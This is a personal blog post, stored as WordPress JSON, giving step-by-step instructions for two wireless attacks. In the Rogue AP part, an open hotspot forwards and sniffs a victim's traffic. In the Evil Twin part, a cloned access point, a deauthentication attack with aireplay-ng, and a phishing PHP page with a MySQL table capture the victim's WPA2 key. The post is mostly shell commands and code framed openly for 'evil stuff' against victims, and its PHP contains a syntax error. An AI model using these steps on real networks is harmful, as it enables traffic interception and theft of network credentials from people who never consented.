{"id":1313,"date":"2018-07-20T19:18:17","date_gmt":"2018-07-20T19:18:17","guid":{"rendered":"http:\/\/www.max-sperling.bplaced.net\/?p=1313"},"modified":"2024-02-20T11:45:40","modified_gmt":"2024-02-20T11:45:40","slug":"fake-access-point","status":"publish","type":"post","link":"http:\/\/www.max-sperling.bplaced.net\/?p=1313","title":{"rendered":"Fake Access Point"},"content":{"rendered":"<p>A created Fake AP can be used for many evil stuff like sniffing credentials (Rogue AP) or reqesting credentials (Evil Twin).<\/p>\n<hr>\n<p><strong>1. Rogue AP<\/strong><br \/>\nYou set up an open WiFi AP and have a parallel connection to the internet. When a victim connects to your AP you just forward and sniff its traffic.<\/p>\n<p>0. Find out all necessary data for setting up the AP (channel) and connecting to the internet (ssid).<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n$ iwlist wlan0 scanning\r\n<\/pre>\n<p>1. Get a second network interface with e.g. WiFi stick, ethernet, virtual WiFi (used here).<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n$ service network-manager stop\r\n$ ifconfig wlan0 down\r\n\r\n$ iw phy phy0 interface add new0 type station\r\n$ iw phy phy0 interface add new1 type __ap\r\n\r\n$ ifconfig new0 down\r\n$ ifconfig new1 down\r\n$ macchanger --mac 00:11:22:33:44:55 new0\r\n$ macchanger --mac 00:11:22:33:44:66 new1\r\n$ ifconfig new0 up\r\n$ ifconfig new1 up\r\n<\/pre>\n<p>2. Connect one network interface with the internet (ethernet or wireless)<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n$ wpa_passphrase &lt;SSID&gt; &gt; wpa_sup.conf\r\n# Enter: WPA2-Key\r\n\r\n$ wpa_supplicant -B -D nl80211 -i new0 -c wpa_sup.conf\r\n$ dhclient new0\r\n<\/pre>\n<p>3. Creating an AP on the other network interface (wireless)<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n$ echo &quot;interface=new1\r\ndriver=nl80211\r\nssid=Free-WiFi\r\nchannel=&lt;CHANNEL&gt;&quot; &gt; hostapd.conf\r\n\r\n$ ifconfig new1 10.0.0.1 up\r\n$ hostapd hostapd.conf\r\n<\/pre>\n<p>4. Setting up DHCP for the network interface that works as AP<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n$ echo &quot;interface=new1\r\ndhcp-range=10.0.0.10,10.0.0.250,infinite\r\ndhcp-option=3,10.0.0.1\r\ndhcp-option=6,10.0.0.1\r\nserver=8.8.8.8&quot; &gt; dnsmasq.conf\r\n\r\n$ route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1\r\n$ dnsmasq -C dnsmasq.conf -d\r\n<\/pre>\n<p>5. Forward the network traffic (victim <--> internet)<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n$ iptables --table nat --append POSTROUTING --out-interface new0 -j MASQUERADE\r\n$ iptables --append FORWARD --in-interface new1 -j ACCEPT\r\n$ echo 1 &gt; \/proc\/sys\/net\/ipv4\/ip_forward\r\n<\/pre>\n<hr>\n<p><strong>2. Evil Twin<\/strong><br \/>\nYou set up an open WiFi AP with the same ssid as another and broadcast a deauth packet. When a victim connects to your AP you link it to your fake backend to request credentials.<\/p>\n<p>This time it&#8217;s not necessary to have an internet connection, cause you fake the backend with a local apache\/mysql service. The AP has to look like the AP you want to mirror, which means the same mac, ssid and channel. Let the traffic from the victim get routed to your created php website. After a deauthentification attack you have just to wait til a victim connects to you fake AP and inserts the from your website requested WLAN login. Now you can just query the mysql database for the saved wpa2 key. By the way if you are too lazy to do this by your own you can just use a tool like Fluxion.<\/p>\n<p>1. Setup website (\/var\/www\/html\/) and database<\/p>\n<pre class=\"brush: sql; gutter: false; title: createdb.sql; notranslate\" title=\"createdb.sql\">\r\nCREATE USER &#039;user&#039;@&#039;localhost&#039; IDENTIFIED BY &#039;pass&#039;;\r\nGRANT ALL PRIVILEGES ON *.* TO &#039;user&#039;@&#039;localhost&#039;;\r\nFLUSH PRIVILEGES;\r\n\r\nCREATE DATABASE WiFiKeysDB;\r\nUSE WiFiKeysDB;\r\nCREATE TABLE WiFiKeys (wifikey VARCHAR(128));\r\n<\/pre>\n<pre class=\"brush: xml; gutter: false; title: index.htm; notranslate\" title=\"index.htm\">\r\n&lt;html&gt;\r\n&lt;head&gt;&lt;title&gt;WiFi-Login&lt;\/title&gt;&lt;\/head&gt;\r\n&lt;body&gt;\r\n  &lt;form action=&quot;writekey.php&quot; method=&quot;post&quot;&gt;\r\n    WiFi-Key: &lt;input type=&quot;text&quot; name=&quot;wifikey&quot;&gt;\r\n    &lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&gt;\r\n  &lt;\/form&gt;\r\n&lt;\/body&gt;\r\n&lt;\/html&gt;\r\n<\/pre>\n<pre class=\"brush: php; gutter: false; title: writekey.php; notranslate\" title=\"writekey.php\">\r\n&lt;?php\r\n  $wifikey = $_POST[&#039;wifikey&#039;];\r\n  try {\r\n    $pdo = new PDO(&#039;mysql:host=localhost;dbname=WiFiKeysDB&#039;, &#039;user&#039;, &#039;pass&#039;);\r\n    $stm = $pdo-&gt;prepare(&#039;INSERT INTO WiFiKeys (wifikey) VALUES (?)&#039;);\r\n    $stm-&gt;execute(array($wifikey);\r\n    echo &quot;Success&quot;;\r\n  } catch (PDOException $e) {\r\n    echo &quot;Failure: &quot; . $e-&gt;getMessage();\r\n  }\r\n?&gt;\r\n<\/pre>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n$ service mysql start\r\n$ mysql -p &lt; createdb.sql\r\n$ service apache2 start\r\n<\/pre>\n<p>2. Setup mirrored AP, DHCP and Routing<br \/>\nSee above, but with mirrored data from the victim AP.<\/p>\n<p>3. Add Routing to your local website<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n$ iptables -t nat -A PREROUTING -p tcp --dport 80 \\\r\n-j DNAT --to-destination &lt;LOCAL_IP&gt;:80\r\n<\/pre>\n<p>4. Deauth clients from the victim AP<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n# all clients\r\n$ aireplay-ng -0 5 -a &lt;MAC_Router&gt; &lt;INTERFACE_AP&gt;\r\n\r\n# specific client\r\n$ aireplay-ng -0 5 -a &lt;MAC_Router&gt; -c &lt;MAC_Client&gt; &lt;INTERFACE_AP&gt;\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>A created Fake AP can be used for many evil stuff like sniffing credentials (Rogue AP) or reqesting credentials (Evil<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false},"categories":[26],"tags":[],"_links":{"self":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts\/1313"}],"collection":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1313"}],"version-history":[{"count":1,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts\/1313\/revisions"}],"predecessor-version":[{"id":16957,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts\/1313\/revisions\/16957"}],"wp:attachment":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1313"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1313"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1313"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}